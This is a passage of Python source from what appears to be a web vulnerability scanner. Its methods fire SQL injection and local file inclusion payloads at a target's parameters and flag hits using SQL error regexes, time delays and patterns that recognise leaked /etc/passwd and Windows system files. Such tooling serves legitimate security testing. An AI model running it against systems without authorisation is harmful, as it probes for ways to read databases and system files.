print(f"{Colors.BLUE}[COMPLETED]{Colors.END} XSS testing for parameter '{param_name}'\n")
return vulnerabilities
def test_sql_injection(self, url: str, params: dict, method: str = 'GET') -> List[Dict]:
"""Advanced SQL injection testing"""
vulnerabilities = []
sql_payloads = self.payload_manager.load_payloads('sql')
if not sql_payloads:
return vulnerabilities
self.success_log(f"Loaded {len(sql_payloads)} SQL payloads")
self.info_log(f"Testing {len(sql_payloads)} SQL injection payloads...")
# Get baseline response
baseline_response = self.make_request(url, method=method,
params=params if method == 'GET' else None,
data=params if method == 'POST' else None)
if not baseline_response:
return vulnerabilities
baseline_time = baseline_response.elapsed.total_seconds()
baseline_content = baseline_response.text
self.debug_log(f"Baseline response time: {baseline_time:.2f} seconds, length: {len(baseline_content)}")
# Enhanced SQL error patterns
error_patterns = [
r'mysql.*syntax.*error', r'warning.*mysql_', r'valid mysql result',
r'you have an error in your sql syntax', r'check the manual that corresponds to your mysql',
r'postgresql.*error', r'warning.*pg_', r'valid postgresql result',
r'oracle.*error', r'ora-\d{5}', r'plsql.*error',
r'mssql.*error', r'microsoft.*odbc', r'sqlserver.*error',
r'sqlite.*error', r'sqlite3.*error', r'unrecognized token',
r'unexpected.*end.*input', r'quoted string not properly terminated',
r'unclosed quotation mark', r'syntax error.*near', r'division by zero',
r'column.*doesn.*exist', r'table.*doesn.*exist', r'unknown column',
r'subquery returns more than 1 row', r'operand should contain 1 column'
]
for param_name in params.keys():
self.info_log(f"Testing SQL injection in parameter: {Colors.YELLOW}{param_name}{Colors.END}")
for i, payload in enumerate(sql_payloads, 1):
print(f"{Colors.CYAN}[{i:2d}/{len(sql_payloads)}]{Colors.END} Testing: {Colors.YELLOW}{payload[:60]}{'...' if len(payload) > 60 else ''}{Colors.END}")
test_params = params.copy()
test_params[param_name] = payload
start_time = time.time()
response = self.make_request(url, method=method,
params=test_params if method == 'GET' else None,
data=test_params if method == 'POST' else None)
response_time = time.time() - start_time
self.update_stats('payloads_tested')
if not response:
continue
# Check for SQL errors
error_found = False
matched_pattern = None
for pattern in error_patterns:
if re.search(pattern, response.text, re.IGNORECASE):
error_found = True
matched_pattern = pattern
break
# Check for time-based injection
time_based = response_time > baseline_time + 4
# Check for content-based changes
content_change = abs(len(response.text) - len(baseline_content)) > 100
if error_found or time_based:
detection_method = 'Error-based' if error_found else 'Time-based'
vulnerability = {
'type': 'SQL Injection',
'severity': 'High',
'url': url,
'method': method,
'parameter': param_name,
'payload': payload,
'detection_method': detection_method,
'error_pattern': matched_pattern if error_found else None,
'response_time': response_time,
'baseline_time': baseline_time,
'poc_url': self.generate_poc_url(url, method, param_name, payload),
'timestamp': datetime.now().isoformat()
}
vulnerabilities.append(vulnerability)
self.update_stats('vulnerabilities_found')
self.vuln_log(f"SQL injection vulnerability detected!")
print(f" {Colors.BOLD}Type:{Colors.END} SQL Injection ({detection_method})")
print(f" {Colors.BOLD}Severity:{Colors.END} {Colors.RED}High{Colors.END}")
print(f" {Colors.BOLD}Parameter:{Colors.END} {param_name}")
print(f" {Colors.BOLD}Payload:{Colors.END} {Colors.RED}{payload}{Colors.END}")
if error_found:
print(f" {Colors.BOLD}Error Pattern:{Colors.END} {matched_pattern}")
if time_based:
print(f" {Colors.BOLD}Response Time:{Colors.END} {response_time:.2f}s (baseline: {baseline_time:.2f}s)")
break
print(f"{Colors.BLUE}[COMPLETED]{Colors.END} SQL injection testing for parameter '{param_name}'\n")
return vulnerabilities
def test_lfi(self, url: str, params: dict, method: str = 'GET') -> List[Dict]:
"""Advanced Local File Inclusion testing"""
vulnerabilities = []
lfi_payloads = self.payload_manager.load_payloads('lfi')
if not lfi_payloads:
return vulnerabilities
self.success_log(f"Loaded {len(lfi_payloads)} LFI payloads")
# Enhanced LFI indicators
lfi_indicators = [
r'root:x:0:0:', r'daemon:x:', r'www-data:x:', r'mysql:x:', r'nobody:x:',
r'# /etc/passwd', r'# This file describes', r'# network interfaces',
r'\[boot loader\]', r'\[operating systems\]', r'Windows Registry Editor',
r'\[fonts\]', r'for 16-bit app support', r'\[extensions\]',
r'# Hosts file', r'localhost', r'127\.0\.0\.1.*localhost'
]
for param_name in params.keys():
self.info_log(f"Testing LFI in parameter: {Colors.YELLOW}{param_name}{Colors.END}")
for i, payload in enumerate(lfi_payloads, 1):
print(f"{Colors.CYAN}[{i:2d}/{len(lfi_payloads)}]{Colors.END} Testing: {Colors.YELLOW}{payload}{Colors.END}")
test_params = params.copy()
test_params[param_name] = payload
response = self.make_request(url, method=method,
params=test_params if method == 'GET' else None,
data=test_params if method == 'POST' else None)
self.update_stats('payloads_tested')
if not response:
continue
for indicator in lfi_indicators:
if re.search(indicator, response.text, re.IGNORECASE):
vulnerability = {
'type': 'Local File Inclusion',
'severity': 'High',
'url': url,
'method': method,
'parameter': param_name,
'payload': payload,
'indicator': indicator,
'poc_url': self.generate_poc_url(url, method, param_name, payload),
'timestamp': datetime.now().isoformat()